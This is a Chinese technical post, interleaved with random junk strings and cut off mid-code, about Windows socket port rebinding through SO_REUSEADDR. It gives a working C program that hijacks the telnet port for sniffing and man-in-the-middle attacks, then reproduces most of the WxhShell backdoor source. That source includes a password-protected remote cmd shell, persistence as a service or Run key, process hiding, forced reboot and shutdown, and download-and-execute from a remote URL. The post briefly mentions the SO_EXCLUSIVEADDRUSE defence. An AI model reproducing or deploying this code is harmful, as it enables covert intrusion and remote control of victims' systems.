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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O>2i)M-h9x s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); glRHn?p X~g~U|B@ saddr.sin_family = AF_INET; 5+iXOs< r(c8P6_ saddr.sin_addr.s_addr = htonl(INADDR_ANY); XRWy#Pj XXPpj< c bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z[zRZ2'i5
i(n BXV{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i~EFRI@ ]9NA3U7F 这意味着什么?意味着可以进行如下的攻击: IX 2 dic' r/mKuGa] 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 h2m@Q={ j
q1|`: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2umgF GC^>oF 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Xg1QF^ mvt%3zCB! 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ?=0BU} ._US8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }w/6"MJ[n Fhk`qh'i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2"!s8x1$ =^`?O* /; 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k^*S3#" i5jsM\1j #include )TzQ8YpO} #include C0 %yGLh& #include Ipyr+7/zJ #include Ni-@El99 DWORD WINAPI ClientThread(LPVOID lpParam); d\v1R-V int main() S!+}\* { Dt=@OZW WORD wVersionRequested; g!DJW DWORD ret; @PAT|6 WSADATA wsaData; z6;6 o!ej BOOL val; 20A`]-D SOCKADDR_IN saddr; }*s`R;B|, SOCKADDR_IN scaddr; ~"nF$DB int err; u+5MrS[ SOCKET s; g}n-H4LI SOCKET sc; EE$\8Gx']! int caddsize; 0<#>LWaM_ HANDLE mt; \2!1fN DWORD tid; YML]pNB wVersionRequested = MAKEWORD( 2, 2 ); X_aC$_b err = WSAStartup( wVersionRequested, &wsaData ); FE,BvNBZ if ( err != 0 ) { u.dYDi printf("error!WSAStartup failed!\n"); XDohfa_ return -1; P+bA>lJd } ~kFL[Asnaf saddr.sin_family = AF_INET; x>$e* 2xK v; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #.j}: o&ETs)n| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %8{nuq+c saddr.sin_port = htons(23); G4]( !f!Kv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D$Eq~VQ { |ya.c\}q printf("error!socket failed!\n"); vb`R+y@ return -1; qs Wy
<yL+ } 75^AO>gt
val = TRUE; 5Deo}(3 //SO_REUSEADDR选项就是可以实现端口重绑定的 ez<V if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0TWd.+ { g5:?O,? printf("error!setsockopt failed!\n"); 'S%H"W\ return -1; %z~=Jz^ } L Iz<fB //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; * o{7 a$V //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O',Vce$ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 LyH1tF !|Wf
mU if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZeLed[J^xJ { ,49Z/P ret=GetLastError(); 4-m6e$p; printf("error!bind failed!\n"); OE*Y%*b return -1; 7@
\:l~{ } '^)}"sZ@G listen(s,2); U0U y
C while(1) 8W Etm} { Z+=M_{`{ caddsize = sizeof(scaddr); $C{,`{= //接受连接请求 Z@(KZ| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LUdXAi"f if(sc!=INVALID_SOCKET) 6EeO\Qj{ { 9l(T>B2a mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;5DDV6 if(mt==NULL) Wdi`ZE { _n1[(I printf("Thread Creat Failed!\n"); b~qH/A}h break; t)1`^W} } 6?'7`p } #q4uS~ CloseHandle(mt); 1ktxG1"1 } XO+rg&Pu closesocket(s); d6W\
\6V WSACleanup(); tzthc*-< return 0; :bm%f%gg } L0oVXmlr DWORD WINAPI ClientThread(LPVOID lpParam) SL-;h#-y
4 { 2vWn(6` SOCKET ss = (SOCKET)lpParam; .G#li(NWH SOCKET sc; W.NZ%~|+e/ unsigned char buf[4096]; f,4erTBH SOCKADDR_IN saddr; [dAQrou6P long num; !I.}[9N DWORD val; z;!"i~fFK DWORD ret; G;$;$gM //如果是隐藏端口应用的话,可以在此处加一些判断 n}I?.r@e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Q;J(
5; saddr.sin_family = AF_INET; k/D{&(F ~ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xx(C$wCJ saddr.sin_port = htons(23); $dF3@(p if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yOt#6Vw { s8)`wH? printf("error!socket failed!\n"); mf)+ 5On return -1; P:t .Nr" } VX&PkGi?o val = 100; -rn6ZSD) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X fqhD&g {
r5Tdp)S ret = GetLastError(); <l$ d>, return -1; Z Cjw)To( } a5GLbanF if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yji[Yde;| { H=Ilum06 ret = GetLastError(); uINdeq 7|F return -1; |PlNVd2 } uO`MA%
z< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -X~mW
{ JD~;.3$/k printf("error!socket connect failed!\n"); \1Xk[% closesocket(sc); z8'1R6nq closesocket(ss); 3_~iq>l return -1; Ph1XI&us9 } pX
^^0 while(1) EP 4]#]5 { 52dD(
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8&)v%TX //如果是嗅探内容的话,可以再此处进行内容分析和记录 P}Kgh7)3 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [YfoQ1 num = recv(ss,buf,4096,0); jb-kg</A if(num>0) a/,>fv9;$ send(sc,buf,num,0); \ph.c*c else if(num==0) 4
"HX1qP break; |zYOCDFf num = recv(sc,buf,4096,0); OegeZV if(num>0) >F7w]XH send(ss,buf,num,0); La;G S else if(num==0) b.&WW break; X,7y| tb } D j&~x
closesocket(ss); TZAd{EZa closesocket(sc); DPTk5o[ return 0 ; 8Ojqm#/f } (~=.[Y ,vJt!}} 6<._^hyq ========================================================== w +t@G`d i#]e&Bru5 下边附上一个代码,,WXhSHELL - {QU>`2 4Z( #;9f ========================================================== GiV%Hcx 2J ZR"P #include "stdafx.h" ,50 3'0Pl8 #include <stdio.h> /o9T [^\ #include <string.h> `p\=NP!n #include <windows.h> 4wl1hp>, #include <winsock2.h> HTJ2D@h #include <winsvc.h> r~t`H*C)} #include <urlmon.h> "is( z8Q!~NN-K #pragma comment (lib, "Ws2_32.lib") }TmOoi(X@ #pragma comment (lib, "urlmon.lib") P[nc8z[
\G" S7 #define MAX_USER 100 // 最大客户端连接数 6#?T?!vZ #define BUF_SOCK 200 // sock buffer M"~jNe| #define KEY_BUFF 255 // 输入 buffer #z*,CU#S9d ,=:K&5mCv #define REBOOT 0 // 重启 9DxHdpOk #define SHUTDOWN 1 // 关机 RP4/:sO 'cW^ S7 #define DEF_PORT 5000 // 监听端口 "O&93#8 Ott6y #define REG_LEN 16 // 注册表键长度 -/yqiC-yx #define SVC_LEN 80 // NT服务名长度 RgJ@J/p" QU"WpkO // 从dll定义API `fu_){ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xz+%Ym typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <n2@;`D typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i"2OsGT typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +)Z]<O CdolZW-!" // wxhshell配置信息 f98,2I(>`+ struct WSCFG { $
V^gFes int ws_port; // 监听端口 ^|]&"OaB
Z char ws_passstr[REG_LEN]; // 口令 =kjKK int ws_autoins; // 安装标记, 1=yes 0=no (o^tmH* char ws_regname[REG_LEN]; // 注册表键名 l& :EKh char ws_svcname[REG_LEN]; // 服务名 zA,vp^ char ws_svcdisp[SVC_LEN]; // 服务显示名 b/SBQ"B% char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]P4WfV
d char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h3ygL" k int ws_downexe; // 下载执行标记, 1=yes 0=no [BWq9uE char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" =$>=EBH,cm char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #lYyL`B+~ -9Q(3$} }; &qv~)ZM$ P}bIp+ // default Wxhshell configuration eV;r /4 struct WSCFG wscfg={DEF_PORT, =~D? K9o "xuhuanlingzhe", 7- B.<$uC 1, }K {1Bm@S "Wxhshell",
!`69.v "Wxhshell", mw@Pl\= "WxhShell Service", &5CRXf "Wrsky Windows CmdShell Service", })g<I+]Hf9 "Please Input Your Password: ", ?Oyo /?/ 1, &i#$ia r " http://www.wrsky.com/wxhshell.exe", c4JV~VS+ "Wxhshell.exe" lZFu|( }; &Mh.PzO=b ' \JE># // 消息定义模块 b!<_ JOL2. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; agIqca; char *msg_ws_prompt="\n\r? for help\n\r#>"; C{exvLQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; O<u=Vz3c~0 char *msg_ws_ext="\n\rExit."; (q)}`1d' char *msg_ws_end="\n\rQuit."; !09)WtsEfx char *msg_ws_boot="\n\rReboot..."; DfXkLOGik char *msg_ws_poff="\n\rShutdown..."; <Ap_# char *msg_ws_down="\n\rSave to "; O-?rFNavxp K-qWT7< char *msg_ws_err="\n\rErr!"; Q(|@&83]. char *msg_ws_ok="\n\rOK!"; |v&)O)Jg rRTKF0+ char ExeFile[MAX_PATH]; S%SYvA int nUser = 0; Cxf K(F HANDLE handles[MAX_USER]; -y`Pm8 int OsIsNt; m+QS -woHn 0'^M}&zCi SERVICE_STATUS serviceStatus; FP@_V-
SERVICE_STATUS_HANDLE hServiceStatusHandle; 73Dxf - 7)?C+=,0 // 函数声明 qv!(In>u int Install(void); U2Ve @. int Uninstall(void); G% F#I int DownloadFile(char *sURL, SOCKET wsh); T(!1\ TB int Boot(int flag); )gpN
5TDd void HideProc(void); (zhZ}C,VF int GetOsVer(void); _i=*0Q int Wxhshell(SOCKET wsl); >AEp\* void TalkWithClient(void *cs); (,At5T int CmdShell(SOCKET sock); l@`k:? int StartFromService(void); YPK@BmAdE int StartWxhshell(LPSTR lpCmdLine); -l[H]BAMXy GM|&,} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d59rq<yI VOID WINAPI NTServiceHandler( DWORD fdwControl ); l\_!oa~ -rDfDdT // 数据结构和表定义 >+O0W)g{o SERVICE_TABLE_ENTRY DispatchTable[] = V&zeC/xSq { s_^`t+5 {wscfg.ws_svcname, NTServiceMain}, Th_@'UDa {NULL, NULL} {_7hX`p }; *|&Y ,H? L*0YOE%=]
// 自我安装 Q%CrB>|@ int Install(void) (Mc{nFqS { ydWr&E5 char svExeFile[MAX_PATH]; Df"PNUwA" HKEY key; ZayJllaq^ strcpy(svExeFile,ExeFile); h;=~%2Y lDS y$ // 如果是win9x系统,修改注册表设为自启动 PqspoH
0OI if(!OsIsNt) { 2)EqqX[D if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wvb ~j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _'p/8K5)= RegCloseKey(key); m2SJ\1 J= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8UB2 du@? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m mF0RNE RegCloseKey(key); lhM5a
\ return 0; " ILF!z } B4 bB`r } O0}uY:B }
c@A.jc else { kTjn%Sn, >4g!ic~O // 如果是NT以上系统,安装为系统服务 taDe^Istj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a>C;HO if (schSCManager!=0) "Lvk?k
)hx { auI`'O`/ SC_HANDLE schService = CreateService iKq_s5|sW ( }a OBQsnO schSCManager, r?KRK?I wscfg.ws_svcname, -.Wwo(4 wscfg.ws_svcdisp, ;$tdn?| SERVICE_ALL_ACCESS, F]RPM(!5O) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G/
si( LK SERVICE_AUTO_START, Cuylozj$& SERVICE_ERROR_NORMAL, f0eQq;D$K svExeFile, tOXyle~C NULL, HRTNIx NULL,
/$93#$ NULL, !bzWgD7j NULL, sudh=_+> NULL e'~Qe_ ); L@RnLaoQ if (schService!=0) 6l,6k~Z9 { 46M=R-7= CloseServiceHandle(schService); kM-8%a2i CloseServiceHandle(schSCManager); M19O^P>[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); shGUG; strcat(svExeFile,wscfg.ws_svcname); N9ipw r'P if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S%H"i
y RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I3Co RegCloseKey(key); `]]m$ return 0; g3s5ra[ } PL"=> } ;=2JbA+"G CloseServiceHandle(schSCManager); _R0O9sPTO } !C4)P3k } l`75BR 8\nka5 return 1; J<NpA(@^ } r}Vr_ Mmgm6{ // 自我卸载 Bd*Ok] int Uninstall(void) EId>%0s5 { #_Uo^Mw HKEY key; %/)z!}{ ?&6|imPE if(!OsIsNt) { Za,o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +U'n|>t9 RegDeleteValue(key,wscfg.ws_regname); UQI!/6F RegCloseKey(key); j!L7r'AV5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8xj_)=(sV! RegDeleteValue(key,wscfg.ws_regname); o8g]ho RegCloseKey(key); F:Vl\YZ return 0; R
{-M%n4w } f&F9ImZ } R0w~ Z
} mE+=H]`.p else { e\#aQ1?" `&) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SA"4|#3>7 if (schSCManager!=0) R4D$)D { ~urk
Uz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lh\`9F: if (schService!=0) YY>&R'3[ { x wfdJ(& if(DeleteService(schService)!=0) { G=Xas"| CloseServiceHandle(schService); Nog{w CloseServiceHandle(schSCManager); ,S}wOjb@ return 0; < A`srmS? } X#W6;?Z\ CloseServiceHandle(schService); .<K9Zyi } D.F1^9Q CloseServiceHandle(schSCManager); gYpFF=7j<@ } Kk%
IN9 } ?Rh[S ip|l3m$ Mi return 1; *TL3-S? } r-hb]!t 47&p*= // 从指定url下载文件 43`Atw`\ int DownloadFile(char *sURL, SOCKET wsh) $ -]9/Ct { 2 I.Q-'@ HRESULT hr; ?+] char seps[]= "/"; f1\mE~#} char *token; M\08 7k char *file; =EHKu|rX~ char myURL[MAX_PATH]; =`qEwA char myFILE[MAX_PATH]; V4*/t#L/ EP{ji"/7[ strcpy(myURL,sURL); }o=s"0 a token=strtok(myURL,seps); {ZUgyGE{ while(token!=NULL) oJc v D { $3Sm? file=token; @
&GA0;q0t token=strtok(NULL,seps); hC!8-uBK5< } dY?>:ce -+Ox/>k GetCurrentDirectory(MAX_PATH,myFILE); M r~IVmtf strcat(myFILE, "\\"); K pKZiUQm strcat(myFILE, file); opReAU'I send(wsh,myFILE,strlen(myFILE),0); _.GHtu/I send(wsh,"...",3,0); JPe<qf- hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D'
h%. if(hr==S_OK) )5<c8lzp return 0; kznm$2 b else &*qAB)** return 1; ou\~^ kybDw{(}gc } jrO{A3<E {%v{iE> // 系统电源模块 Mgux(5`; int Boot(int flag) z|m-nIM { %hA0 HANDLE hToken; rW2 TOKEN_PRIVILEGES tkp; ]2mfby hhJ>>G4R2 if(OsIsNt) { :D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^}Gu'!z9D LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $mst\]&; tkp.PrivilegeCount = 1; Wl{}>F`W[ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sWMY
Lo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )#Id=c if(flag==REBOOT) { Uclta if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KCS},X_ return 0; NY%=6><t! } u:}yE^8 @ else { p~<d8n4UH if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O<+x=>_ return 0; Y-P?t+l } xU;Q~( } 5J*h7 else { MgQb" qx if(flag==REBOOT) { $$---Y if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :w26d-QR( return 0; 3W@ta1 } ;TCT%j`^o else { 3\?yjL^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6;}W)S return 0; 6hf6Z3 } TE@bV9a } ds'7zxy/ cD9axlJ return 1; a(K^/BT } ]= 9^wS j.g9O]pi // win9x进程隐藏模块 e`t-:~' void HideProc(void) KqWt4{\8v` { T@on
ue7 DZU} p HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @HP7$U" if ( hKernel != NULL ) $McbVn)~f { @<=<?T>1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0`kaT
?> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K7]+. f FreeLibrary(hKernel); LX;" Mz> } =U3rOYbP; _iZ9Ch\ return; %8! }" Xa }
W[oQp2 = 9>[*y8[:0 // 获取操作系统版本 cp3O$S int GetOsVer(void) %gV~e@| { Kd').w OSVERSIONINFO winfo; 52z{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7\Wq :<JL GetVersionEx(&winfo); )\l(h%s[I if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Ezy-x2h return 1; ,&rHBNS else rL<a^/b/= return 0; 6e At`L[K. } :eW`El .#}`r`/ // 客户端句柄模块 S2"H E` int Wxhshell(SOCKET wsl) vUgMfy& { J4q_}^/2w SOCKET wsh; |eFce/ struct sockaddr_in client; 0I"r*;9?K DWORD myID; Cc>+OUL 4xzoA'Mb@ while(nUser<MAX_USER) &265
B_'D { N Uo int nSize=sizeof(client); SR*KZ1U wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U|)CZcM if(wsh==INVALID_SOCKET) return 1; 5YnTGf& ;wj8:9
; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3YJa3fflK if(handles[nUser]==0) K}9 c$C4 closesocket(wsh); \"?5CHz* else Z-rHYfa4 nUser++; TAKvE=a; } ,p[9EW*8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {K42PmQL _Xzl=j9[ return 0; *MZa|Xy } oTLpq:9J [W*Q~Wvp // 关闭 socket f,'9Bj.~ void CloseIt(SOCKET wsh) 1_6oM/?' { KVZ-T1K closesocket(wsh); ?Y\hC0a60 nUser--; -5sKJt]+i ExitThread(0); ,K~r':ht } S_dM{.!Z(, M5T4{^i // 客户端请求句柄 T6fm`uL&L void TalkWithClient(void *cs) rJ)8KY> { OVa38Aucr3 9a3mN(< SOCKET wsh=(SOCKET)cs; }+ZZO0 char pwd[SVC_LEN]; U@<]>.$ char cmd[KEY_BUFF]; U6yZKK char chr[1]; ud:5_* int i,j; (bo-JOOdY( CKr5L while (nUser < MAX_USER) { Eu1t*>ZL <X~P62< if(wscfg.ws_passstr) { \O(~:KN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .<kbYo:MV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QeNN*@
='i //ZeroMemory(pwd,KEY_BUFF); k*uLjU i=0; 6Dz N.fz while(i<SVC_LEN) { )HJ#|JpxC u5E\wRn // 设置超时 &_W~d0 fd_set FdRead; n|AV7c struct timeval TimeOut; `T(T]^C98 FD_ZERO(&FdRead); ?Oyps7hXx FD_SET(wsh,&FdRead); vG'I|OWg TimeOut.tv_sec=8; b&\f 8xZ TimeOut.tv_usec=0; \ICc?8oL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y;xY74Nq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8\B]! Gx/kel[Y} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @z1pE@7jK pwd =chr[0]; kYnp$8 if(chr[0]==0xd || chr[0]==0xa) { y,cz;2 pwd=0; s?~lMm' ! break; ]x:>!y } 3T84f[CFJ i++; br4?_, } q3}WO]TBj ~1.B
fOR8 // 如果是非法用户,关闭 socket \_8.\o"@*# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VL2+"< } ^&Wa?
m. O#72h] send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A8U\/GP send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s>c0K@ADO 3*!w c.= while(1) { pUD(5v*0R f S-PM3 ZeroMemory(cmd,KEY_BUFF); iM(Q-%HP_ r%412# // 自动支持客户端 telnet标准 ]mT2a8`c.r j=0; \_l4li while(j<KEY_BUFF) { Ze"m;T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @e:=
D cmd[j]=chr[0]; jN T+?2 if(chr[0]==0xa || chr[0]==0xd) { @M&qH[tK-A cmd[j]=0; C q)Cwc[H break; ckdXla } y ]D[JX[ j++; _(:<l
YaY } 6'45c1e WO!'(" // 下载文件 iph}!3f if(strstr(cmd,"http://")) { 8KMo !p\i send(wsh,msg_ws_down,strlen(msg_ws_down),0); t+Au6/Dx? if(DownloadFile(cmd,wsh)) |*n
B2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); _:7:ixN[Ie else kY^ k*-v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "X,*VQl: } DVz_;m6) else { ;DXg ]8/g[Ii switch(cmd[0]) { hI 1or4V \dJOZ2J<z // 帮助 TX).*%f[r case '?': { N~~
sM"n send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hMnm> break; `lA_knS } :JIJ!Xn) // 安装 0)rayzv case 'i': { u\Y3h:@u if(Install()) H*HL:o-[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); SZ1yy[" else 6_g:2=6S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X.+|o@G break; $8WWN} OC } \>[k0< // 卸载 b} FhC"'i case 'r': { %ty`Oa2 if(Uninstall()) M@+Pq/f: send(wsh,msg_ws_err,strlen(msg_ws_err),0); mI'&!@WG else -car>hQq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +t%1FkI\ break; EhAaaG } 3?e~J"WXC5 // 显示 wxhshell 所在路径 c8LMvL case 'p': { Vw]!Kb7tA char svExeFile[MAX_PATH]; n?*r, )' strcpy(svExeFile,"\n\r"); d9up!
k strcat(svExeFile,ExeFile); QJ +Ml send(wsh,svExeFile,strlen(svExeFile),0); 1pAcaJzf break; otX/sg.B* } |u]IOw&1 // 重启 xVk5% case 'b': { Ey=ymf.} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qe'RvBz if(Boot(REBOOT)) 3~1Gts send(wsh,msg_ws_err,strlen(msg_ws_err),0); 54].p7 else { +U)4V}S) closesocket(wsh); M+*K-zt0 ExitThread(0); W*B=j[w } 8SA"
bH: break; +o?;7 } n8tw8o%&[ // 关机 9yz@hdG case 'd': { %n6NVi_[ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /@B2-.w if(Boot(SHUTDOWN)) WK0:3q(P send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6MNr H else { $0k7W?tu closesocket(wsh); lffw
" ExitThread(0); X;n09 L`CB } 1,P\dGmu break; S~bhh& } C\4d.~C:w3 // 获取shell -^3uQa<zN^ case 's': { #p
;O3E@ CmdShell(wsh); #\
uB!;Q closesocket(wsh); UA|\D]xe ExitThread(0); ^a<kp69qS break; U\(71= } Kq5i8L=u // 退出 i+F*vTM2, case 'x': { "
sC]z} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); />N# PF CloseIt(wsh); vVP.9( break; yi:}UlO } l(W?]{C[% // 离开 8L+A&^qx case 'q': { y^z
c@f send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1nw\?r2 closesocket(wsh); NcBz(" WSACleanup(); 4/%Y@Z5 exit(1); nRvaCAt^
break; yj=OR|v } \d*ts(/a* } mx#%oJnsi } S*gm[ZLQ #^BttI // 提示信息 icb*L ~qm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !9.FI{W } Ii&p v } {,u})U2 *nYg-) return; "7'P Lo3O } s/B_ uq;yR[w" // shell模块句柄 RL$%Vy0 int CmdShell(SOCKET sock) &Q#*Nnb3 { g/_0WW] } STARTUPINFO si; jZC[_p; ZeroMemory(&si,sizeof(si)); d14 n> si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G$2@N6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oxa8u e? PROCESS_INFORMATION ProcessInfo; .cHkh^EDY char cmdline[]="cmd"; %`QgG CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |}.}q return 0; zvVo-{6 } t0GJ$]) f%i%QZP // 自身启动模式 {
0-on"o int StartFromService(void) %<!YjJ { +g kJrw typedef struct [uK{``" { }Z{FPW.QK DWORD ExitStatus; !l=)$RJKdD DWORD PebBaseAddress; YCQ$X DWORD AffinityMask; lZuH:AH DWORD BasePriority; rwVp}H G
ULONG UniqueProcessId; reNf?7G+m ULONG InheritedFromUniqueProcessId; [sjkm+
? } PROCESS_BASIC_INFORMATION; % P Ex EZN!3y| m PROCNTQSIP NtQueryInformationProcess; #]6{>n1*+w yCA8/)>Gm static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KGcjZx04! static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sb> &m kiyc ^s HANDLE hProcess; Ix}6%2\ PROCESS_BASIC_INFORMATION pbi; /Q3\6DCl 0Sz[u\w HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s5rD+g]E` if(NULL == hInst ) return 0; @"MQ6u G> /s~S\dG g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EEnl' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /aMOZ=,q} NtQueryInformationProcess = 